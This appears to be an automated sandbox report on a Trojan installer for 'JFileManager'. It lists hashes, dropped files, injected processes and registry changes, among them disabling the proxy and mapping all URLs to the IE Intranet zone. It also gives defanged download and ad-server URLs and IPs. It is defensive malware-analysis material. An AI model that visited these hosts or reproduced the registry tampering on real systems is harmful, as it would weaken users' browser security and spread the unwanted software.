MD5: 7948e11453d4f40db7faebc31dc8e8f0
SHA1: 48d21cc16d9daee4fe20b03dd91622fd12f4f37a
SHA256: f76091a6a358052d3e4a3e57fb3c839b6e7ff47f45d6a1d7f0caf55c59346608
SSDeep: 12288:ShdoH1uo7I9YTWw9GkqT/fA40i0sHyyPY6w0f5L54pq:kuHN1ZcNrfA7i1HyVnY5F3
Size: 551456 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: PECompactV2X, PECompactv20, UPolyXv05_v6
Company: no certificate found
Created at: 2015-05-15 18:55:09
Analyzed on: WindowsXP SP3 32-bit

Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

jfilemanagersetup.exe:584

The Trojan injects its code into the following process(es):

JFileManager.exe:1304
WebBrowser.exe:1612
%original file name%.exe:928

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process jfilemanagersetup.exe:584 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Program Files%\JFileManager\Languages\Italian.gif (934 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg3.tmp\nsProcess.dll (4 bytes)
%Program Files%\JFileManager\Languages\Hindi.ini (2 bytes)
%Program Files%\JFileManager\Languages\Italian.ini (1 bytes)
%Program Files%\JFileManager\icono.ico (12088 bytes)
%Program Files%\JFileManager\Languages\Hindi.gif (920 bytes)
%Program Files%\JFileManager\Newtonsoft.Json.dll (12536 bytes)
%Program Files%\JFileManager\Languages\Spanish.gif (569 bytes)
%Program Files%\JFileManager\JFileManager.exe (37368 bytes)
%Program Files%\JFileManager\Languages\English.ini (1 bytes)
%Program Files%\JFileManager\Languages\French.gif (928 bytes)
%Program Files%\JFileManager\Languages\Spanish.ini (1 bytes)
%Program Files%\JFileManager\Languages\Portuguese.ini (1 bytes)
%Program Files%\JFileManager\dotNetFx40_Full_setup.exe (30344 bytes)
%Program Files%\JFileManager\Languages\Hebrew.gif (929 bytes)
%Program Files%\JFileManager\update.xml (206 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\JFileManager\JFileManager.lnk (836 bytes)
%Program Files%\JFileManager\Languages\English.gif (977 bytes)
%Program Files%\JFileManager\uninstall.exe (3096 bytes)
%Program Files%\JFileManager\Languages\Portuguese.gif (883 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\JFileManager\Uninstall JFileManager.lnk (637 bytes)
%Program Files%\JFileManager\Languages\Chinese (Simplified).ini (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\JFileManager\Config.ini (190 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg2.tmp (126424 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\JFileManager\Downloads\Torrents\fastresume.data (2 bytes)
%Program Files%\JFileManager\ComponentFactory.Krypton.Toolkit.dll (77843 bytes)
%Program Files%\JFileManager\ClipboardURLCatcher.jar (2 bytes)
%Program Files%\JFileManager\jfilemanager.affcode (3 bytes)
%Program Files%\JFileManager\Languages\French.ini (1 bytes)
%Program Files%\JFileManager\jfilemanager.uidnum (23 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg3.tmp\System.dll (11 bytes)
%Program Files%\JFileManager\Languages\Hebrew.ini (1 bytes)
%Program Files%\JFileManager\Languages\Chinese (Simplified).gif (941 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\JFileManager\Downloads\Torrents\DhtNodes (2 bytes)
%Program Files%\JFileManager\Languages\German.gif (916 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Startup\WebBrowserJFile.lnk (1 bytes)
%Program Files%\JFileManager\WebBrowser.exe (5064 bytes)
%Documents and Settings%\All Users\Desktop\JFileManager.lnk (824 bytes)
%Program Files%\JFileManager\Languages\German.ini (1 bytes)
%Program Files%\JFileManager\LTV.exe (6 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsg3.tmp\nsProcess.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsr1.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg3.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg3.tmp\System.dll (0 bytes)

The process %original file name%.exe:928 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\style[1].css (6616 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\JFileManagerSetup[1].exe (1014662 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\desktop.ini (159 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\progress-level[1].png (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\loading-install[1].gif (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\i-download[1].png (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\msjava[1].dll (465777 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\progress-bar[1].png (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\d1c89e2c-dd98-48c4-9372-55f6da10336c\jfilemanagersetup.exe (1014662 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\bullet-short[1].gif (54 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)
%System%\wbem\Logs\wbemprox.log (225 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\0b6626ec5e4bd43463c10b130d5e34b10864302c058b6d184bb46749500be84c4bde88c5d88e32622c4040c760d4f2447fb9c56605186310[1].txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\JFileManagerSetup[1].exe (0 bytes)

Registry activity

The process JFileManager.exe:1304 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "EA 50 34 3A B2 9E AE 56 EA 32 58 61 C7 3F 76 77"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

The process WebBrowser.exe:1612 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "41 0E FE 3F 66 84 CB EB D4 C2 01 9A 2B 8D 1B 06"

The process jfilemanagersetup.exe:584 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\JFileManager]
"Publisher" = ""

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\JFileManager]
"DisplayVersion" = "v1.0.0.2"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\JFileManager]
"UninstallString" = "%Program Files%\JFileManager\uninstall.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKLM\SOFTWARE\JFileManager\JFileManager]
"InstallDir" = "%Program Files%\JFileManager"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Startup" = "%Documents and Settings%\All Users\Start Menu\Programs\Startup"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\JFileManager]
"DisplayName" = "JFileManager"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "3D 53 A7 5D 3E B8 65 3E F9 A3 DB 06 47 20 38 55"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Programs" = "%Documents and Settings%\All Users\Start Menu\Programs"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\JFileManager]
"EstimatedSize" = "6015"
"DisplayIcon" = "%Program Files%\JFileManager\JFileManager.exe"

[HKLM\SOFTWARE\JFileManager\JFileManager]
"(Default)" = "%Program Files%\JFileManager\JFileManager.exe"

The process %original file name%.exe:928 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\d1c89e2c-dd98-48c4-9372-55f6da10336c]
"jfilemanagersetup.exe" = "jfilemanagersetup"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache]
"@xpsp3res.dll,-20001" = "Diagnose Connection Problems..."

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\DirectDraw\MostRecentApplication]
"Name" = "%original file name%.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1B 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\DirectDraw\MostRecentApplication]
"ID" = "1431705309"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "47 C7 45 D2 A3 E1 43 2D 06 24 79 75 B3 DB 95 EB"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Program Files%\Internet Explorer]
"iexplore.exe" = "Internet Explorer"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

Dropped PE files

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

No information is available.

PE Sections

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 32
b961127ce2ebed0b1d793fc1457c062b
586a7d0c906a5a725405d7041f755366
29517c8981aeed04f8c4da7b1ff5382b
862b28a00ab3dec3e0e71bb608cfe62c
d0fbd988a684011254a7396a2f80d9f3
21e07880b0ebe2241d35fea00a17eda7
66a863350764d479e42897f125f64ca9
797642aec7e9a15be35dc56028194470
9870e739dd72af3c09ac0240c6689868
e8e0c8631b613bbdf0ed6716b41823e0
0545481fbd2161083c5144dceae0890f
c3489f84410649c5715e0a46663fa65c
5db8a3e1287bce870134f34333f5de30
c8cc06158732f7bd26a70d24d556715b
c15197f96a6d91ed5489090f86aadc16
70a3ea306318570c5d99baf2e0132ad6
2f839c7b998efc06799fce7754d86702
d2f0d537f79000fd520bb33201c511a8
e76822b889c8dc38923309d2812e14e6
4a7c6c2670efd2cbc4e42a341c68fd89
ac25c051bbdc5783515026e0952f726a
eef7251cc09ae712e94efa1a78a85245
685d846920f78a8aac14ba33111bb64b
91689b79cd15ba0989c3f016ea920580
be94147b408a6c546a093ffe4a89b8dc
5bbab558c65fd6d04bc98b96d714d64b

URLs

URL	IP
hxxp://api.magnodownload.com/	54.191.3.243
hxxp://api.magnodownload.com/d5/msjava.dll	54.191.3.243
hxxp://api.magnodownload.com/?ctrak3.2.587=c_Start_Application	54.191.3.243
hxxp://api.magnodownload.com/fd862eba9a8eff3775636859f9766f82c6a7232124f727e93497715d0390105b0b8886781535ed62a8d0fcf75290092ff752ed904486fe229632d57ce23620a8e80d093e255c14cd84528e8074a4b2ebaa2f43f9c68ccac4f0a9932d7b8bc982ab6a23ab2c704e36	54.191.3.243
hxxp://api.magnodownload.com/0b6626ec5e4bd43463c10b130d5e34b10864302c058b6d184bb46749500be84c4bde88c5d88e32622c4040c760d4f2447fb9c56605186310	54.191.3.243
hxxp://api.magnodownload.com/__maxpower__/render_template/2014/09/8bc54d8e-3fdf-11e4-8f9b-06a3579b0dab?language_code=en	54.191.3.243
hxxp://api.magnodownload.com/maxpower-static/templates/2014/09/8bc54d8e-3fdf-11e4-8f9b-06a3579b0dab/css/style.css	54.191.3.243
hxxp://api.magnodownload.com/__maxpower__/render_screen/2014/11/d1187d84-6a69-11e4-b052-06a3579b0dab/screen_variation=I_link	54.191.3.243
hxxp://api.magnodownload.com/maxpower-static/templates/2014/09/8bc54d8e-3fdf-11e4-8f9b-06a3579b0dab/css/images/i-download.png	54.191.3.243
hxxp://api.magnodownload.com/maxpower-static/templates/2014/09/8bc54d8e-3fdf-11e4-8f9b-06a3579b0dab/css/images/progress-bar.png	54.191.3.243
hxxp://146.185.26.220/8c/JFileManagerSetup.exe
hxxp://api.magnodownload.com/maxpower-static/templates/2014/09/8bc54d8e-3fdf-11e4-8f9b-06a3579b0dab/css/images/loading-install.gif	54.191.3.243
hxxp://api.magnodownload.com/maxpower-static/templates/2014/09/8bc54d8e-3fdf-11e4-8f9b-06a3579b0dab/css/images/progress-level.png	54.191.3.243
hxxp://www.magnodownload.com/BesH3gE9/pop-up/	54.213.71.128
hxxp://www.magnodownload.com/lpresources/js/linkv2.js	54.213.71.128
hxxp://www.magnodownload.com/lpresources/js/ainj.js	54.213.71.128
hxxp://www.magnodownload.com/lpresources/js/dlStoragev1.js	54.213.71.128
hxxp://www.magnodownload.com/mh/53a811d55f1c1e744b000002/2307c835-660a-4bd8-a3df-031d9af89e85/53a811d55f1c1e744b000002/default/media/js/jquery-1.11.1.min.js	54.213.71.128
hxxp://api.magnodownload.com/__maxpower__/render_screen/2014/10/e8150ca4-4ae4-11e4-be98-06a3579b0dab/screen_variation=f_link	54.191.3.243
hxxp://api.magnodownload.com/maxpower-static/templates/2014/09/8bc54d8e-3fdf-11e4-8f9b-06a3579b0dab/css/images/bullet-short.gif	54.191.3.243
hxxp://n149adserv.com/js/show_ads.js	204.155.152.38
hxxp://n149adserv.com/ads-sync.js?v=1&key=8807bef3df789cfc967df2f12545a152&ch=&click=&tz=3&t=1434155616452&requestUrl=http://www.magnodownload.com/BesH3gE9/pop-up/&requestRef=&flashVer=11.6 r602&scrWidth=1276&scrHeight=846&cIds=	204.155.152.38
hxxp://n149adserv.com/impression.gif?b=778&p=27&ch=&ap=&cps=&c=76&l=UA&h=acf77f38e46b2eec6d48af61483c53a7&t=1434155616827&s=1ca12eb2e60e376e81cb62ca2676068e	204.155.152.38
hxxp://onclickads.net/afu.php?zoneid=313275	78.140.191.109
hxxp://onclickads.net/?r=/mb/han&zoneid=313275&pbk2=aed4aed7aec61aea2427c1373066bf8d6159651431394916656&saved_referer=&adparams=bm9qcz0w&a=1256&b=693	78.140.191.109
hxxp://click.alibaba.com/rd/vutlr5u3?pid=313275&tp1=65352150151&cv=147001&cn=UA	198.11.132.6
hxxp://offer.alibaba.com/exclusive.html?alpsm=true&sms=suginter&smcon=p&tv=3&imp=5b1aor19nl5bq76m3hj&xp=LvgMuz7SxVBSO8m8pLNOH7a31beDqYWem05AplXolgvjD097TIoNZOoeNKKbtKAastyn4tdoE_mG-O7fpqa2iCwxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=65352150151&src=saf	205.204.96.35
hxxp://a1049.w55.akamai.net/js/6v/atom/??atom-sc.js?t=6453147c_104cacc3f2
hxxp://a1049.w55.akamai.net/css/6v/??run/arcadia/landing-page/lp-layout-premium-market.css,run/list/common/default.css,run/arcadia/landing-page/lp-category-list.css,run/arcadia/category/categories-home.css,apollo/mod/header/header-v4-sc.css,run/common/top-reached/top-reached.css,apollo/mod/footer/footer-v4-sc.css?t=1839ef62e_22db2c054f
hxxp://a1049.w55.akamai.net/js/6v/lib/gallery/??jquery/jquery.js,es5-safe/es5-safe.js,json/json.js?t=db4c592b_0
hxxp://a1082.w55.akamai.net/wimg/monitor/start-render.png
hxxp://a1049.w55.akamai.net/js/beacon_en.js
hxxp://a1049.w55.akamai.net/simg/sprites/env/aisn/ghome/ghome.png?t=4e09143a_0
hxxp://a1049.w55.akamai.net/simg/sprites/app/[email protected]?t=21312772_0
hxxp://e11102.b.akamaiedge.net/tps/i2/TB1QtIrFVXXXXbHXFXXIVqAQXXX-1400-160.png
hxxp://e11102.b.akamaiedge.net/tps/i3/TB1knn4HpXXXXc.XVXXoNAWQpXX-300-251.jpg
hxxp://stat.alibaba.com/event/common.html?id=17769&st_page_id=c18af4e7ac14ac7e557b7a5814dea56116f24cff8f&ver=40&time=1434155618687	205.204.96.98
hxxp://gj.gds.mmstat.com/7.gif?logtype=1&title=&pre=http://onclickads.net/afu.php?zoneid=313275&cache=67bd1e4&scr=1276x846&isbeta=5&spm-cnt=0.0.0.0.Mj3nGs&aplus&pageid=c18af4e7ac14ac7e557b7a5814dea56116f24cff8f&ali_apache_id=193.138.244.231.1434155608293.716224.2&dmtrack_c={trfc_i=saf^vutlr5u3^m1jqhq39^19nl5bq76|aep_usuc_f=-}&p=1&o=winXP&b=ie6&s=1276x846&w=trident
hxxp://dmtracking2.alibaba.com/b.jpg?cD17MX0mdT17L29mZmVyLmFsaWJhYmEuY29tL2V4Y2x1c2l2ZS5odG1sP2FscHNtPXRydWUmc21zPXN1Z2ludGVyJnNtY29uPXAmdHY9MyZpbXA9NWIxYW9yMTlubDVicTc2bTNoaiZ4cD1MdmdNdXo3U3hWQlNPOG04cExOT0g3YTMxYmVEcVlXZW0wNUFwbFhvbGd2akQwOTdUSW9OWk9vZU5LS2J0S0Fhc3R5bjR0ZG9FX21HLU83ZnBxYTJpQ3d4dDVxY2NBaXJCeE1RQkZQbnRMNCZwaWQ9MzEzMjc1JnRkPVByb3BlbGxlcmFkcyZjdj0xNDcwMDEmYWZmX2lkPTE4MjQ2MzYxOCZjdD0xJnNpemU9MDAwXzAwMCZjbj1VQSZhbj0xMDAwMDAwMDQ2MDAxJmJtPWNwYSZ0cDE9NjUzNTIxNTAxNTEmc3JjPXNhZn0mbT17R0VUfSZzPXsyMDB9JnI9e2h0dHA6Ly9vbmNsaWNrYWRzLm5ldC9hZnUucGhwP3pvbmVpZD0zMTMyNzV9JmE9ey19JmI9ey19JmM9e3RyZmNfaT1zYWZednV0bHI1dTNebTFqcWhxMzleMTlubDVicTc2fGFlcF91c3VjX2Y9LX0=&pageid=c18af4e7ac14ac7e557b7a5814dea56116f24cff8f&sys=ie6.0|windowsXP|1276*846|en-us&ver=40&time=1434155618687	205.204.96.111
hxxp://www-google-analytics.l.google.com/analytics.js
hxxp://e11102.b.akamaiedge.net/tps/i3/TB1_jCQHpXXXXXDXXXXoNAWQpXX-300-251.jpg
hxxp://e11102.b.akamaiedge.net/tps/i4/TB13n.FHXXXXXX7aXXXoNAWQpXX-300-251.jpg
hxxp://e11102.b.akamaiedge.net/tps/i3/TB1ciU8HXXXXXahaXXXoNAWQpXX-300-251.jpg
hxxp://e11102.b.akamaiedge.net/tps/i4/TB16MsBGXXXXXc1XFXXw4O3GXXX-33-20.png
hxxp://e11102.b.akamaiedge.net/tps/i1/TB1YUr7HpXXXXXTaXXXoNAWQpXX-300-251.jpg
hxxp://e11102.b.akamaiedge.net/tps/i3/TB19_fqGXXXXXXrXFXXSutbFXXX.jpg
hxxp://www-google-analytics.l.google.com/r/collect?v=1&_v=j37&a=2129827782&t=pageview&_s=1&dl=http://offer.alibaba.com/exclusive.html?alpsm=true&sms=suginter&smcon=p&tv=3&imp=5b1aor19nl5bq76m3hj&xp=LvgMuz7SxVBSO8m8pLNOH7a31beDqYWem05AplXolgvjD097TIoNZOoeNKKbtKAastyn4tdoE_mG-O7fpqa2iCwxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=65352150151&src=saf&dr=http://onclickads.net/afu.php?zoneid=313275&ul=en-us&de=utf-8&dt=Alibaba Premium Marketplace&sd=32-bit&sr=1276x846&vp=1260x681&je=0&fl=11.6 r602&_u=AEAAAEAAI~&jid=1757803183&cid=1214118344.1434155619&tid=UA-53529524-1&_r=1&z=1776085867
hxxp://a1049.w55.akamai.net/js/6v/biz/common/lazyload-images/lazyload-images.js?t=ba5caa31_6b5144d34
hxxp://a1049.w55.akamai.net/js/6v/??biz/list/common/top.js,biz/list/common/bottom.js,biz/aisn/ghome/categories/categories.js,biz/common/header/header-v4-sc.js,biz/common/top-reached/top-reached.js,biz/common/url/url.js,biz/common/cookie-info/cookie-info.js,biz/common/affiliate-remarketing/affiliate-remarketing.js,biz/common/umid/umid.js,biz/arcadia/premium-ppv/premium-ppv.js,lib/gallery/store/store.js?t=3e3f0742a_1013aa46edc
hxxp://e11102.b.akamaiedge.net/tps/i4/TB1WJb8HpXXXXcCXFXXoNAWQpXX-300-251.jpg
hxxp://e11102.b.akamaiedge.net/tps/i1/TB1QrZ5HXXXXXbmapXXoNAWQpXX-300-251.jpg
hxxp://a1049.w55.akamai.net/js/6v/??lib/arale/class/class.js,lib/arale/events/events.js,lib/arale/base/base.js,lib/arale/widget/widget.js,lib/arale/position/position.js,lib/arale/iframe-shim/iframe-shim.js,lib/arale/overlay/overlay.js,lib/arale/overlay/mask.js,lib/arale/popup/popup.js,lib/arale/templatable/templatable.js,lib/arale/dialog/dialog.js,lib/arale/cookie/cookie.js,lib/arale/placeholder/placeholder.js,lib/arale/autocomplete/autocomplete.js,lib/icbu/scroll-trigger/scroll-trigger.js,lib/icbu/dialog/dialog.js,lib/icbu/balloon/balloon.js,lib/icbu/messenger/messenger.js,lib/icbu/ghost-panel/ghost-panel.js,lib/gallery/underscore/underscore.js,lib/gallery/handlebars/handlebars.js,lib/gallery/qrcode/qrcode.js,biz/list/common/dot/dot.js,biz/list/common/title/title.js,biz/list/common/history/history.js,biz/list/common/history/log.js,biz/list/common/load/load.js,biz/list/common/gotop/gotop.js,biz/list/common/survey/survey.js,biz/list/common/qrcode/qrcode.js,biz/list/common/webatm/webatm.js,biz/common/mcms/mcms.js,biz/common/switch-language/switch-language.js,biz/common/nav/nav.js,biz/common/header/header-module-base.js,biz/common/beacon/beacon-v4-sc.js,biz/common/store-proxy/store-proxy2.js,biz/common/searchbar/searchbar-v4-sc.js?t=11df03f0f4_1971b41c7df
hxxp://pcookie.alibaba.com/app.gif?&cna=WWgCDjWxzjYCAcGK9OdXbmWQ	205.204.96.213
hxxp://offer.alibaba.com/favicon.ico	205.204.96.35
hxxp://a1049.w55.akamai.net/simg/single/icon/loading_16x16.gif?t=30d69a7b_0
hxxp://e11102.b.akamaiedge.net/js/6v/biz/common/store-proxy/store-proxy2.html?iframe_delete=true
